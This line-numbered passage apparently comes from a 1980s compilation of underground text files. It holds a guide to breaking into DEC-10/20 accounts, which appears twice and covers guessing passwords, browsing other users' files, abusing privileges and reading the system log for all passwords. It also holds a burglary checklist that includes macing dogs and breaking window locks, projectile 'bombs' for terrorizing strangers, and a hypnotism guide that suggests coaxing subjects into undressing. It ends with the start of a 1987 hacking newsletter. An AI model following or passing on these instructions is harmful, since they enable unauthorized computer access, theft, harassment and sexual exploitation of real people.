  4289. sy is short for sy(stat) and shows you the system status.
  4290. You should see the format of login names...
  4291. A systat usually comes up in this form:
  4292. job  line  program  user
  4293. job:  the job number (not important unless you want to log them off later)
  4294. line:  what line they are on (used to talk to them...)
  4295. These are both two or three digit numbers.
  4296. Program:  what program are they running under?  If it says 'exec'
  4297. they aren't doing anything at all...
  4298. User:  ahhhahhhh!  This is the user name they are logged in under...
  4299. Copy the format, and hack yourself outa working code... Login format is as
  4300. such:
  4301. dec=> `
  4302. you=> login username password
  4303. username is the username in the format you saw above in the systat.
  4304. After you hit the space after your username, it will stop echoing
  4305. characters back to your screen.  This is the password you are typing in...
  4306. Remember, people  usually use their name, their dog's name, the name of a
  4307. favorite character in a book, or something like this. A few clever
  4308. people have it set to a key cluster (qwerty or asdfg).  Pw's can be from 1
  4309. to 8 characters long, anything after that is ignored. You are finally in...
  4310. It would be nice to have a little help, wouldn't it?  Just type a ? Or the
  4311. word help, and it will give you a whole list of topics...
  4312. Some handy characters for you to know would be the control keys,
  4313. wouldn't it? Backspace on a dec 20 is rub which is 255 on your ascii chart.
  4314. On the dec 10 it is cntrl-h. To abort a long listing or a program,
  4315. cntrl-c works fine.  Use cntrl-o to stop long output to the terminal.
  4316. This is handy when playing a game, but you don't want to cntrl-c out.
  4317. Cntrl-t for the time. Cntrl-u will kill the whole line you are typing at
  4318. the moment.  You may accidently run a program where the only way out is
  4319. a cntrl-x, so keep that in reserve. Cntrl-s to stop listing, cntrl-q to
  4320. continue on both systems. Is your terminal having trouble??
  4321. Like, it pauses for no reason, or it doesn't backspace right?  This is
  4322. because both systems support many terminals, and you haven't told it what
  4323. yours is yet... You are using a vt05
  4324. so you need to tell it you are one.
  4325. Dec=> `
  4326. you=> information terminal
  4327. or...
  4328. You=> info
  4329. this shows you what your terminal is set up as...
  4330. Dec=>all sorts of shit, then the `
  4331. you=> set ter vt05 this sets your terminal
  4332. type to vt05.
  4333. Now let's see what is in the account (here after abbreviated acct.)
  4334. that you have hacked onto... Say
  4335. => dir
  4336. short for directory, it shows
  4337. you what the user of the code has save to the disk.  There should be a format
  4338. like this:    xxxxx.Oooxxxxx is the file name, from 1 to 20 characters
  4339. long.  Ooo is the file type, one of: exe, txt, dat, bas, cmd   and a few
  4340. others that are system dependant.
  4341. Exe is a compiled program that can be run (just by typing its name at the `).
  4342. Txt is a text file, which you can see by
  4343. typing=>
  4344. type xxxxx.Txt
  4345. Do not try to=>
  4346. type xxxxx.Exe this is very bad for your terminal and will tell you
  4347. absolutly nothing.
  4348. Dat is data they have saved.
  4349. Bas is a basic program, you can have it typed out for you.
  4350. Cmd is a command type file, a little too
  4351. complicated to go into here.
  4352. Try =>
  4353. take xxxxx.Cmd
  4354. By the way, there are other users out there who may have files you can use
  4355. (gee, why else am I here?).
  4356. Type => dir <*.*> (Dec 20)
  4357.      => dir [*,*]   (dec 10)
  4358. * is a wildcard, and will allow you to access the files on other accounts
  4359. if the user has it set for public access. If it isn't set for public access,
  4360. then you won't see it. To run that program:
  4361. dec=> `
  4362. you=> username program-name
  4363. username is the directory you saw the
  4364. file listed under, and file name was
  4365. what else but the file name?
  4366. **  You are not alone  **
  4367. remember, you said (at the very start) sy  short for systat,
  4368. and how we said this showed the other users on the system?  Well, you
  4369. can talk to them, or at least send a message to anyone you see listed in a
  4370. systat.  You can do this by:
  4371. dec=> the user list (from your systat)
  4372. you=> talkusername (dec 20)
  4373.       send username (dec 10)
  4374. talk allows you and them immediate transmission of whatever you/they type
  4375. to be sent to the other.  Send only allow you one message to be sent, and
  4376. send, they will send back to you, with talk you can just keep going. By the
  4377. way, you may be noticing with the talk command that what you type is still
  4378. acted upon by the parser (control program).  To avoid the constant error
  4379. messages type either:
  4380. you=>  ;your message
  4381. you=>  rem your message
  4382. the semi-colon tells the parser that what follows is just a comment.  Rem
  4383. is short for 'remark' and ignores you from then on until you type a cntrl-z
  4384. or cntrl-c, at which point it puts you back in the exec mode. To break the
  4385. connection from a talk command type:
  4386. you=>  break priv's:
  4387. if you happen to have privs, you can do all sorts of things. 
  4388. First of all, you have to activate those privs.
  4389. You=> enable
  4390. this gives you a $ prompt, and allows you to do this:
  4391. whatever you can do to your own directory you can now do to any
  4392. other directory. To create a new acct. Using your privs, just type
  4393. =>build username
  4394. if username is old, you can edit it, if it is new, you can
  4395. define it to be whatever you wish. Privacy means nothing to a user with
  4396. privs.  By the way, there are various levels of privs:  operator, wheel,
  4397. cia.
  4398. wheel is the most powerful, being that he can log in from anywhere and
  4399. have his powers.
  4400. Operators have their power because they are at a special terminal
  4401. allowing them the privs.  Cia is short for 'confidential information
  4402. access', which allows you a low level amount of privs. 
  4403. Not to worry though, since you can read the system log file, which also
  4404. has the passwords to all the other accounts.
  4405. To de-activate your privs, type
  4406. you=> disable
  4407. when you have played your greedy heart out, you can finally leave the
  4408. system with the command=>
  4409. logout
  4410. this logs the job you are using off the system (there may be varients
  4411. of this such as kjob, or killjob).
  4412.  
  4413.                                 ----------------Jolly Roger
  4414.  
  4415. Hacking DEC's                                 by the Jolly Roger
  4416.  
  4417. In this article you will learn how to log in to dec's, logging out, and all
  4418. the fun stuff to do in-between.  All of this information is based on a
  4419. standard dec system.
  4420. Since there are dec systems 10 and 20, and I favor, the dec 20,
  4421. there will be more info on them in this article.  It just so happens
  4422. that the dec 20 is also the more common of the two, and is used by much
  4423. more interesting people (if you know what I mean...) Ok, the first thing
  4424. you want to do when you are receiving carrier from a dec system is to find
  4425. out the format of login names.  You can do this by looking at who is on the
  4426. system.
  4427. Dec=> `  (the 'exec' level prompt)
  4428. you=> sy
  4429. sy is short for sy(stat) and shows you the system status.
  4430. You should see the format of login names...
  4431. A systat usually comes up in this form:
  4432. job  line  program  user
  4433. job:  the job number (not important unless you want to log them off later)
  4434. line:  what line they are on (used to talk to them...)
  4435. These are both two or three digit numbers.
  4436. Program:  what program are they running under?  If it says 'exec'
  4437. they aren't doing anything at all...
  4438. User:  ahhhahhhh!  This is the user name they are logged in under...
  4439. Copy the format, and hack yourself outa working code... Login format is as
  4440. such:
  4441. dec=> `
  4442. you=> login username password
  4443. username is the username in the format you saw above in the systat.
  4444. After you hit the space after your username, it will stop echoing
  4445. characters back to your screen.  This is the password you are typing in...
  4446. Remember, people  usually use their name, their dog's name, the name of a
  4447. favorite character in a book, or something like this. A few clever
  4448. people have it set to a key cluster (qwerty or asdfg).  Pw's can be from 1
  4449. to 8 characters long, anything after that is ignored. You are finally in...
  4450. It would be nice to have a little help, wouldn't it?  Just type a ? Or the
  4451. word help, and it will give you a whole list of topics...
  4452. Some handy characters for you to know would be the control keys,
  4453. wouldn't it? Backspace on a dec 20 is rub which is 255 on your ascii chart.
  4454. On the dec 10 it is cntrl-h. To abort a long listing or a program,
  4455. cntrl-c works fine.  Use cntrl-o to stop long output to the terminal.
  4456. This is handy when playing a game, but you don't want to cntrl-c out.
  4457. Cntrl-t for the time. Cntrl-u will kill the whole line you are typing at
  4458. the moment.  You may accidently run a program where the only way out is
  4459. a cntrl-x, so keep that in reserve. Cntrl-s to stop listing, cntrl-q to
  4460. continue on both systems. Is your terminal having trouble??
  4461. Like, it pauses for no reason, or it doesn't backspace right?  This is
  4462. because both systems support many terminals, and you haven't told it what
  4463. yours is yet... You are using a vt05
  4464. so you need to tell it you are one.
  4465. Dec=> `
  4466. you=> information terminal
  4467. or...
  4468. You=> info
  4469. this shows you what your terminal is set up as...
  4470. Dec=>all sorts of shit, then the `
  4471. you=> set ter vt05 this sets your terminal
  4472. type to vt05.
  4473. Now let's see what is in the account (here after abbreviated acct.)
  4474. that you have hacked onto... Say
  4475. => dir
  4476. short for directory, it shows
  4477. you what the user of the code has save to the disk.  There should be a format
  4478. like this:    xxxxx.Oooxxxxx is the file name, from 1 to 20 characters
  4479. long.  Ooo is the file type, one of: exe, txt, dat, bas, cmd   and a few
  4480. others that are system dependant.
  4481. Exe is a compiled program that can be run (just by typing its name at the `).
  4482. Txt is a text file, which you can see by
  4483. typing=>
  4484. type xxxxx.Txt
  4485. Do not try to=>
  4486. type xxxxx.Exe this is very bad for your terminal and will tell you
  4487. absolutly nothing.
  4488. Dat is data they have saved.
  4489. Bas is a basic program, you can have it typed out for you.
  4490. Cmd is a command type file, a little too
  4491. complicated to go into here.
  4492. Try =>
  4493. take xxxxx.Cmd
  4494. By the way, there are other users out there who may have files you can use
  4495. (gee, why else am I here?).
  4496. Type => dir <*.*> (Dec 20)
  4497.      => dir [*,*]   (dec 10)
  4498. * is a wildcard, and will allow you to access the files on other accounts
  4499. if the user has it set for public access. If it isn't set for public access,
  4500. then you won't see it. To run that program:
  4501. dec=> `
  4502. you=> username program-name
  4503. username is the directory you saw the
  4504. file listed under, and file name was
  4505. what else but the file name?
  4506. **  You are not alone  **
  4507. remember, you said (at the very start) sy  short for systat,
  4508. and how we said this showed the other users on the system?  Well, you
  4509. can talk to them, or at least send a message to anyone you see listed in a
  4510. systat.  You can do this by:
  4511. dec=> the user list (from your systat)
  4512. you=> talkusername (dec 20)
  4513.       send username (dec 10)
  4514. talk allows you and them immediate transmission of whatever you/they type
  4515. to be sent to the other.  Send only allow you one message to be sent, and
  4516. send, they will send back to you, with talk you can just keep going. By the
  4517. way, you may be noticing with the talk command that what you type is still
  4518. acted upon by the parser (control program).  To avoid the constant error
  4519. messages type either:
  4520. you=>  ;your message
  4521. you=>  rem your message
  4522. the semi-colon tells the parser that what follows is just a comment.  Rem
  4523. is short for 'remark' and ignores you from then on until you type a cntrl-z
  4524. or cntrl-c, at which point it puts you back in the exec mode. To break the
  4525. connection from a talk command type:
  4526. you=>  break priv's:
  4527. if you happen to have privs, you can do all sorts of things. 
  4528. First of all, you have to activate those privs.
  4529. You=> enable
  4530. this gives you a $ prompt, and allows you to do this:
  4531. whatever you can do to your own directory you can now do to any
  4532. other directory. To create a new acct. Using your privs, just type
  4533. =>build username
  4534. if username is old, you can edit it, if it is new, you can
  4535. define it to be whatever you wish. Privacy means nothing to a user with
  4536. privs.  By the way, there are various levels of privs:  operator, wheel,
  4537. cia.
  4538. wheel is the most powerful, being that he can log in from anywhere and
  4539. have his powers.
  4540. Operators have their power because they are at a special terminal
  4541. allowing them the privs.  Cia is short for 'confidential information
  4542. access', which allows you a low level amount of privs. 
  4543. Not to worry though, since you can read the system log file, which also
  4544. has the passwords to all the other accounts.
  4545. To de-activate your privs, type
  4546. you=> disable
  4547. when you have played your greedy heart out, you can finally leave the
  4548. system with the command=>
  4549. logout
  4550. this logs the job you are using off the system (there may be varients
  4551. of this such as kjob, or killjob).
  4552.  
  4553.                                 ----------------Jolly Roger
  4554.  
  4555. Harmless Bombs                                  by the Jolly Roger
  4556.  
  4557. To all those who do not wish to inflict bodily damage on their victims
  4558. but only terror.
  4559. These are weapons that should be used from high places.
  4560. 1) The flour bomb.
  4561. Take a wet paper towel and pour a given amount of baking flour in
  4562. the center. Then wrap it up and put on a rubber band to keep it
  4563. together. When thrown it will fly well but when it hits, it covers
  4564. the victim with the flower or causes a big puff of flour which will
  4565. put the victim in terror since as far as they are concerned, some
  4566. strange white powder is all over them. This is a cheap method of
  4567. terror and for only the cost of a roll of paper towels and a bag of
  4568. flour you and your friends can have loads of fun watching people
  4569. flee in panic.
  4570. 2) Smoke bomb projectile.
  4571. All you need is a bunch of those little round smoke bombs and a
  4572. wrist rocket or any sling-shot. Shoot the smoke bombs and watch the
  4573. terror since they think it will blow up!
  4574. 3) Rotten eggs (good ones)
  4575. Take some eggs and get a sharp needle
  4576. and poke a small hole in the top of each one.
  4577. Then let them sit in a warm place for about a week. Then you've got a
  4578. bunch of rotten eggs that will only smell when they hit.
  4579. 4) Glow in the dark terror.
  4580. Take one of those tubes of glow in the dark stuff and pour the
  4581. stuff on whatever you want to throw and when it gets on the victim,
  4582. they think it's some deadly chemical or a radioactive substance so
  4583. they run in total panic. This works especially well with flower
  4584. bombs since a gummy, glowing substance gets all over the victim.
  4585. 5) Fizzling panic.
  4586. Take a baggie of a water-baking soda solution and seal it. (Make
  4587. sure there is no air in it since the solution will form a gas and
  4588. you don't want it to pop on you.) Then put it in a bigger plastic
  4589. bag and fill it with vinegar and seal it. When thrown, the two
  4590. substances will mix and cause a violently bubbling substance to go
  4591. all over the victim.
  4592.                              ---------------Jolly Roger
  4593.  
  4594. Breaking Into Houses                            by the Jolly Roger
  4595.  
  4596. Okay You Need:
  4597. 1.  Tear Gas or Mace
  4598. 2.  A BB/Pelet Gun
  4599. 3.  An Ice Pick
  4600. 4.  Thick Gloves
  4601.  
  4602. What You Do Is:
  4603.  
  4604. 1.  Call the ###-#### of the house, or ring doorbell,  To find out if
  4605.     they're home.
  4606. 2.  If they're not home then...
  4607. 3.  Jump over the fence or walk through gate (whatever).
  4608. 4.  If you see a dog give him the mace or tear gas.
  4609. 5.  Put the gloves on!!!!!!!
  4610. 6.  Shoot the BB gun slightly above the window locks.
  4611. 7.  Push the ice-pick through the hole (made by the BB gun).
  4612. 8.  Enter window.
  4613. 9.  FIRST...Find the LIVING ROOM. (they're neat things there!).
  4614. 10.  Then goto the Bed-room to get a pillow  case.  Put the goodies in
  4615.      the pillow case.
  4616. 11.  Get out <-* FAST! -*>
  4617.  
  4618. Notes:   You should have certian targets worked out (like computers,
  4619. Radios, Ect.,Ect.).    Also <-* NEVER *-> Steal from your own
  4620. neigborhood. If you think they have an alarm...<-* FORGET IT! *->.
  4621.  
  4622.                                   ---------------Jolly Roger
  4623.  
  4624.  
  4625. A Guide to Hypnotism                     Courtesy of the Jolly Roger
  4626.       (Originally an Apple ][ file, forgive the uppercase!)
  4627.  
  4628. +-------------------+
  4629. ! WHAT HYPNOTISM IS !
  4630. +-------------------+
  4631.  
  4632. HYPNOTISM, CONTRARY TO COMMON BELEIF, IS MERELY STATE WHEN YOUR MIND AND
  4633. BODY ARE IN A STATE OF RELAXATION AND YOUR MIND IS OPEN TO POSITIVE, OR
  4634. CLEVERLY WORDED NEGATIVE, INFLUENCES.  IT IS NOT A TRANCE WHERE YOU:
  4635.                   > ARE TOTALLY INFLUENCABLE.
  4636.                   > CANNOT LIE.
  4637.                   > A SLEEP WHICH YOU CANNOT WAKE UP FROM
  4638.                     WITHOUT HELP.
  4639. THIS MAY BRING DOWN YOUR HOPE SOMEWHAT, BUT, HYPNOTISM IS A POWERFUL FOR
  4640. SELF HELP, AND/OR MISCHEIF.
  4641.  
  4642. +-----------------------+
  4643. ! YOUR SUBCONCIOUS MIND !
  4644. +-----------------------+
  4645.  
  4646. BEFORE GOING IN FURTHER, I'D LIKE TO STATE THAT HYPNOTISM NOT ONLY IS
  4647. GREAT IN THE WAY THAT IT RELAXES YOU AND GETS YOU (IN THE LONG RUN) WHAT
  4648. YOU WANT, BUT ALSO THAT IT TAPS A FORCE OF INCREDIBLE POWER, BELEIVE IT OR
  4649. NOT, THIS POWER IS YOUR SUBCONCIOUS MIND.
  4650. THE SUBCONCIOUS MIND ALWAYS KNOWS WHAT IS GOING ON WITH EVERY PART OF YOUR BODY,
  4651. EVERY MOMENT OF THE DAY.  IT PROTECTS YOU FROM NEGATIVE INFLUENCES,
  4652. AND RETAINS THE POWER TO SLOW YOUR HEARTBEAT DOWN AND STUFF LIKE THAT.
  4653. THE SUBCONCIOUS MIND HOLDS JUST ABOUT ALL THE INFO YOU WOULD LIKE TO KNOW
  4654. ABOUT YOURSELF, OR, IN THIS CASE, THE PERSON YOU WILL BE HYPNOTISING.
  4655. THERE ARE MANY WAYS TO TALK TO YOUR SUBCONCIOUS AND HAVE IT TALK BACK TO
  4656. YOU. ONE WAY IS THE OUJA BOARD, NO ITS NOT A SPIRIT, MERELY THE
  4657. MINDS OF THOSE WHO ARE USING IT.  ANOTHER, WHICH I WILL DISCUSS HERE,
  4658. IS THE PENDULUM METHOD.  OK, HERE IS HOW IT GOES.
  4659. FIRST, GET A RING OR A WASHER AND TIE IT TO A THREAD A LITTLE LONGER THAN
  4660. HALF OF YOUR FOREARM.  NOW, TAKE A SHEET OF PAPER AND DRAW A BIG CIRCLE IN
  4661. IT.  IN THE BIG CIRCLE YOU MUST NOW DRAW A CROSSHAIR (A BIG +).  NOW, PUT
  4662. THE SHEET OF PAPER ON A TABLE.  NEXT, HOLD THE THREAD WITH THE RING OR
  4663. WASHER ON IT AND PLACE IT (HOLDING THE THREAD SO THAT THE RING IS 1 INCH
  4664. ABOVE THE PAPER SWINGING) IN THE MIDDLE OF THE CROSSHAIR.  NOW, SWING
  4665. THE THREAD SO THE WASHER GOES UP AND DOWN, SAY TO YOURSELF THE WORD "YES"
  4666. NOW, DO IT SIDE TO SIDE AND SAY THE WORD "NO".
  4667. DO IT COUNTER CLOCKWISE AND SAY "I DON'T KNOW".
  4668. AND LASTLY, DO IT CLOCKWISE AND SAY "I DONT WANT TO SAY." NOW, WITH THE
  4669. THREAD BACK IN THE MIDDLE OF THE CROSSHAIR, ASK YOURSELF QUESTIONS AND
  4670. WAIT FOR THE PENDULUM TO SWING IN THE DIRECTION FOR THE ANSWER. (YES, NO,
  4671. I DONT KNOW OR I DONT WANNA SAY...). SOON, TO YOUR AMAZEMENT, IT WILL BE
  4672. ANSWERING QUESTIONS LIKE ANYTHING... LET THE PENDULUM ANSWER, DONT TRY..
  4673. WHEN YOU TRY YOU WILL NEVER GET AN ANSWER.  LET THE ANSWER COME TO YOU.
  4674.  
  4675. +-------------------------+
  4676. ! HOW TO INDUCE HYPNOTISM !
  4677. +-------------------------+
  4678.  
  4679. NOW THAT YOU KNOW HOW TO TALK TO YOUR SUBCONCIOUS MIND, I WILL NOW TELL YOU
  4680. HOW TO GUIDE SOMEONE INTO HYPNOSIS. NOTE THAT I SAID GUIDE, YOU CAN NEVER,
  4681. HYNOTISE SOMEONE, THEY MUST BE WILLING. OK, THE SUBJECT MUST BE LYING OR
  4682. SITTING IN A COMFORTABLE POSITION, RELAXED, AND AT A TIME WHEN THINGS ARENT
  4683. GOING TO BE INTERRUPTED.
  4684. TELL THEM THE FOLLOWING OR SOMETHING CLOSE TO IT, IN A PEACEFUL, MONOTINOUS
  4685. TONE (NOT A COMMANDING TONE OF VOICE)
  4686.  
  4687. NOTE:  LIGHT A CANDLE AND PLACE IT SOMEWHERE WHERE IT CAN BE EASILY SEEN.
  4688.  
  4689. TAKE A DEEP BREATH THROUGH YOUR NOSE AND HOLD IT IN FOR A COUNT OF 8. NOW,
  4690. THROUGH YOUR MOUTH, EXHALE COMPLETELY AND SLOWLY. CONTINUED BREATHING LONG,
  4691. DEEP, BREATHS THROUGH YOUR NOSE AND EXHALING THROUGH YOUR MOUTH.  TENSE UP
  4692. ALL YOUR MUSCLES VERY TIGHT, NOW, COUNTING FROM TEN TO ONE, RELEASE THEM
  4693. SLOWLY, YOU WILL FIND THEM VERY RELAXED.  NOW, LOOK AT THE CANDLE, AS
  4694. YOU LOOK AT IT, WITH EVERY BREATH AND PASSING MOMEMENT, YOU ARE FEELING
  4695. INCREASINGLY MORE AND MORE PEACEFUL AND RELAXED.  THE CANDLES FLAME IS
  4696. PEACEFUL AND BRIGHT.
  4697. AS YOU LOOK AT IT I WILL COUNT FROM 100 DOWN, AS A COUNT, YOUR EYES WILL
  4698. BECOME MORE AND MORE RELAXED, GETTING MORE AND MORE TIRED WITH EACH
  4699. PASSING MOMENT."
  4700. NOW, COUNT DOWN FROM 100, ABOUT EVERY 10 NUMBERS SAY "WHEN I REACH XX YOUR
  4701. EYES (OR YOU WILL FIND YOUR EYES) ARE BECOMING MORE AND MORE TIRED."  TELL
  4702. THEM THEY MAY CLOSE THEIR EYES WHENEVER THEY FEEL LIKE IT.  IF THE PERSONS
  4703. EYES ARE STILL OPEN WHEN YOU GET TO 50 THEN INSTEAD OF SAYING
  4704. "YOUR EYES WILL.."
  4705. SAY "YOUR EYES ARE...".
  4706. WHEN THEIR EYES ARE SHUT SAY THE FOLLOWING. AS YOU LIE (OR SIT) HERE WITH
  4707. YOUR EYES COMFORTABLY CLOSE YOU FIND YOURSELF RELAXING MORE AND
  4708. MORE WITH EACH MOMENT AND BREATH.
  4709. THE RELAXATION FEELS PLEASANT AND BLISSFUL SO, YOU HAPPILY GIVE WAY TO
  4710. THIS WONDERFUL FEELING. IMAGINGE YOURSELF ON A CLOUD, RESTING PEACEFULLY,
  4711. WITH A SLIGHT BREEZE CARESSING YOUR BODY.  A TINGLING SENSASION BEGINS
  4712. TO WORK ITS WAY, WITHIN AND WITHOUT YOUR TOES, IT SLOWLY MOVES UP YOUR
  4713. FEET, MAKING THEM WARM, HEAVY AND RELAXED. THE CLOUD IS SOFT AND SUPPORTS
  4714. YOUR BODY WITH ITS SOFT TEXTURE, THE SCENE IS PEACEFUL AND ABSORBING,
  4715. THE PEACEFULNESS ABSORBS YOU COMPLETELY... 
  4716. THE TINGLING GENTLY AND SLOWLY MOVES UP YOUR LEGS, RELAXING THEM.
  4717. MAKING THEM WARM AND HEAVY.  THE RELAXATION FEELS VERY GOOD, IT FEELS SO
  4718. GOOD TO RELAX AND LET GO. AS THE TINGLING CONTINUES ITS JOURNEY UP INTO
  4719. YOUR SOLAR PLEXUS, YOU FEEL YOUR INNER STOMACH BECOME VERY RELAXED.  NOW,
  4720. IT MOVES SLOWLY INTO YOUR CHEST, MAKING YOUR BREATHING RELAXED AS WELL.
  4721. THE FEELING BEGINS TO MOVE UP YOUR ARMS TO YOUR SHOULDERS, MAKING YOUR ARMS
  4722. HEAVY AND RELAXED AS WELL.  YOU ARE AWARE OF THE TOTAL RELAXATION YOU ARE
  4723. NOW EXPERIENCING, AND YOU GIVE WAY TO IT.  IT IS GOOD AND PEACEFUL, THE
  4724. TINGLING NOW MOVEVES INTO YOUR FACE AND HEAD, RELAXING YOUR JAWS, NECK, AND
  4725. FACIAL MUSCLES, MAKING YOUR CARES AND WORRIES FLOAT AWAY. AWAY INTO THE
  4726. BLUE SKY AS YOU REST BLISFUlLY ON THE CLOUD....
  4727. IF THEY ARE NOT RESPONSIVE OR YOU THINK THEY (HE OR SHE..) IS GOING TO
  4728. SLEEP, THEN ADD IN A "...ALWAYS CONCENTRATING UPON MY VOICE, INGORING ALL
  4729. OTHER SOUNDS.  EVEN THOUGH OTHER SOUNDS EXSIST, THEY AID YOU IN YOUR
  4730. RELAXATION..." THEY SHOULD SOON LET OUT A SIGH AS IF THEY WERE LETTING GO,
  4731. AND THEIR FACE SHOULD HAVE A "WOODENESS" TO IT, BECOMING FEATURLESS... NOW,
  4732. SAY THE FOLLOWING "....  YOU NOW FIND YOURSELF IN A HALLWAY, THE HALLWAY IS
  4733. PEACEFUL AND NICE. AS I COUNT FROM 10 TO 1 YOU WILL IMAGINE YOURSELF
  4734. WALKING FURTHER AND FURTHER DOWN THE HALL. WHEN I REACH ONE YOU WILL FIND
  4735. YOURSELF WHERE YOU WANT TO BE, IN ANOTHER, HIGHER STATE OF CONCIOUS AND
  4736. MIND. (COUNT FROM TEN TO ONE)....." DO THIS ABOUT THREE OR FOUR TIMES.
  4737. THEN, TO TEST IF THE SUBJECT IS UNDER HYPNOSIS OR NOT, SAY....
  4738. "...YOU FEEL A STRANGE SENSATION IN YOUR (ARM THEY WRITE WITH) ARM, THE
  4739. FEELING BEGINS AT YOUR FINGERS AND SLOWLY MOVES UP YOUR ARM, AS IT MOVES
  4740. THROUGH YOUR ARM YOUR ARM BECOMES LIGHTER AND LIGHTER, IT WILL SOON BE SO
  4741. LIGHT IT WILL .....  BECOMING LIGHTER AND LIGHTER WHICH EACH BREATH AND
  4742. MOMENT..."
  4743. THEIR FINGERS SHOULD BEGIN TO TWITCH AND THEN MOVE UP, THE ARM FOLLOWING,
  4744. NOW MY FRIEND, YOU HAVE HIM/HEP IN HYPNOSIS.  THE FIRST TIME YOU DO THIS,
  4745. WHILE HE/SHE IS UNDER SAY GOOD THINGS, LIKE:  "YOUR GOING TO FEEL GREAT
  4746. TOMORROW" OR "EVERY DAY IN EVERY WAY YOU WILL FIND YOURSELF BECOMING BETTER
  4747. AND BETTER".. OR SOME CRAP LIKE THAT... THE MORE THEY GO UNDER, THE DEEPER
  4748. IN HYPNOSIS THEY WILL GET EACH TIME YOU DO IT.
  4749.  
  4750. +----------------------------+
  4751. ! WHAT TO DO WHEN HYPNOTISED !
  4752. +----------------------------+
  4753.  
  4754. WHEN YOU HAVE THEM UNDER YOU MUST WORD THINGS VERY CAREFULLY TO GET YOUR
  4755. WAY. YOU CANNOT SIMPLY SAY...  TAKE OFF YOUR CLOTHES AND FUCK THE PILLOW.
  4756. NO, THAT WOULD NOT REALLY DO THE TRICK. YOU MUST SAY SOMETHING LIKE....
  4757. "YOU FIND YOUR SELF AT HOME, IN YOUR ROOM AND YOU HAVE TO TAKE A SHOWER
  4758. (VIVIDLY DESCRIBE THEIR ROOM AND WHATS HAPPENING), YOU BEGIN TO TAKE OFF
  4759. YOUR CLOTHES..."  NOW, IT CANT BE THAT SIMPLE, YOU MUST KNOW THE PERSONS
  4760. HOUSE, ROOM, AND SHOWER ROOM. THEN DESCRIBE THINGS VIVIDLY AND TELL THEM
  4761. TO ACT IT OUT (THEY HAVE TO BE DEEPLY UNDER TO DO THIS...).  I WOULD JUST
  4762. SUGGEST THAT YOU EXPERIMENT A WHILE, AND GET TO KNOW HO; TO DO THINGS.
  4763.  
  4764. +-----------+
  4765. ! WAKING UP !
  4766. +-----------+
  4767.  
  4768. WAKING UP IS VERY EASY, JUST SAY.. "...AS I COUNT FROM 1 TO 5 YOU WILL
  4769. FIND YOURSELF BECOMMING MORE AND MORE AWAKE, MORE AND MORE LIVELY.  WHEN
  4770. YOU WAKE UP YOU WILL FIND YOURSELF COMPLETELY ALIVE, AWAKE, AND REFRESHED.
  4771. MENTALLY AND PHYSICALLY, REMEMBERING THE PLEASANT SENSATION THAT HYPNOSIS
  4772. BRINGS...  WAKING UP FEELING LIKE A NEW BORN BABY, REBORN WITH LIFE AND
  4773. VIGOR, FEELING EXCELLENT. REMEMBERING THAT NEXT TIME YOU ENTER HYPNOSIS IT
  4774. WILL BECOME AN EVER INCREASING DEEPER AND DEEPER STATE THAN BEFORE.
  4775. 1- YOU FEEL ENERGY COURSE THROUGHOUT YOUR LIMBS.
  4776. 2- YOU BEGIN TO BREATHE DEEPLY, STIRRING.
  4777. 3- BEGINING TO MOVE MORE AND MORE YOUR EYES OPEN, BRINGING YOU UP TO
  4778. FULL CONCIOUS.
  4779. 4- YOU ARE UP,UP, UP AND AWAKENING MORE AND MORE.
  4780. 5- YOU ARE AWAKE AND FEELING GREAT."
  4781.  
  4782. AND THATS IT!  YOU NOW KNOW HOW TO HYPNOTISE YOURSELF AND SOMEONE ELSE.
  4783. YOU WILL LEARN MORE AND MORE AS YOU EXPERIMENT.
  4784.  
  4785.                             ------------------Jolly Roger
  4786.  
  4787. ##########################################################################
  4788. #                                                                        #
  4789. #                           The Remote Informer                          #
  4790. #                                                                        #
  4791. #------------------------------------------------------------------------#
  4792. #             Reader supported newsletter for the underworld             #
  4793. #------------------------------------------------------------------------#
  4794. #                                                                        #
  4795. #                    Editors: Tracker and Norman Bates                   #
  4796. #                                                                        #
  4797. #========================================================================#
  4798. # September 1987                                               Issue: 01 #
  4799. #========================================================================#
  4800. #                              The Headlines                             #
  4801. #------------------------------------------------------------------------#
  4802. #                     1) Introduction                                    #
  4803. #                     2) Hacking Sprint: The Easy Way                    #
  4804. #                     3) Rumors: Why spread them?                        #
  4805. #                     4) The New Sprint FON Calling Cards                #
  4806. #                     5) Automatic Number Identifier (ANI)               #
  4807. ##########################################################################
  4808.            
  4809.                    Introduction
  4810. --------------------------------------------------------------------------
  4811. Welcome to the first issue of 'The Remote Informer'!  This newsletter
  4812. is reader supported.  If the readers of this newsletter do not help
  4813. support it, then it will end.  We are putting this out to help out the
  4814. ones that would like to read it.  If you are one of those who thinks they
  4815. know everything, then don't bother reading it.  This newsletter is not
  4816. anything like the future issues.  The future issues will contain several
  4817. sections, as long as reader input is obtained.  Below is an outline
  4818. overview of the sections in the future issues.
  4819.  
  4820. I/O Board (Input/Output Board)
  4821.  
  4822. The I/O Board is for questions you have, that we might be able to
  4823. answer or atleast refer you to someone or something.  We will be honest if
  4824. we cannot help you.  We will not make up something, or to the effect, just
  4825. to make it look like we answered you.  There will be a section in the I/O
  4826. Board for questions we cannot answer, and then the readers will have the
  4827. opportunity to answer it.  We will print anything that is reasonable in
  4828. the newsletter, even complaints if you feel like you are better than
  4829. everyone.
  4830.  
  4831. NewsCenter
  4832.  
  4833. This section will be for news around the underworld.  It will talk of
  4834. busts of people in the underworld and anything else that would be
  4835. considered news.  If you find articles in the paper, or something happens
  4836. in your local area, type it up, and upload it to one of the boards listed
  4837. at the end of the newsletter.  Your handle will be placed in the article.
  4838. If you do enter a news article, please state the date and from where you
  4839. got it.
  4840.  
  4841. Feature Section
  4842.  
  4843. The Feature Section will be the largest of the sections as it will be
  4844. on the topic that is featured in that issue.  This will be largely reader
  4845. input which will be sent in between issues.  At the end of the issue at
  4846. hand, it will tell the topic of the next issue, therefore, if you have
  4847. something to contribute, then you will have ample time to prepare your
  4848. article.
  4849.  
  4850. Hardware/Software Review
  4851. In this section, we will review the good and bad points of hardware
  4852. and software related to the underworld.  It will be an extensive review,
  4853. rather than just a small paragraph.
  4854.  
  4855. The Tops
  4856.  
  4857. This section will be the area where the top underworld BBS's, hacking
  4858. programs, modem scanners, etc. will be shown.  This will be reader
  4859. selected and will not be altered in anyway.  The topics are listed below.
  4860. Underworld BBS's (Hack, Phreak, Card, Anarchy, etc.)
  4861. Hacking programs for Hayes compatables
  4862. Hacking programs for 1030/Xm301 modems
  4863. Modem scanners for Hayes compatables
  4864. Modem scanners for 1030/Xm301 modems
  4865. Other type illegal programs
  4866. You may add topics to the list if enough will support it.
  4867.  
  4868. Tid Bits
  4869.  
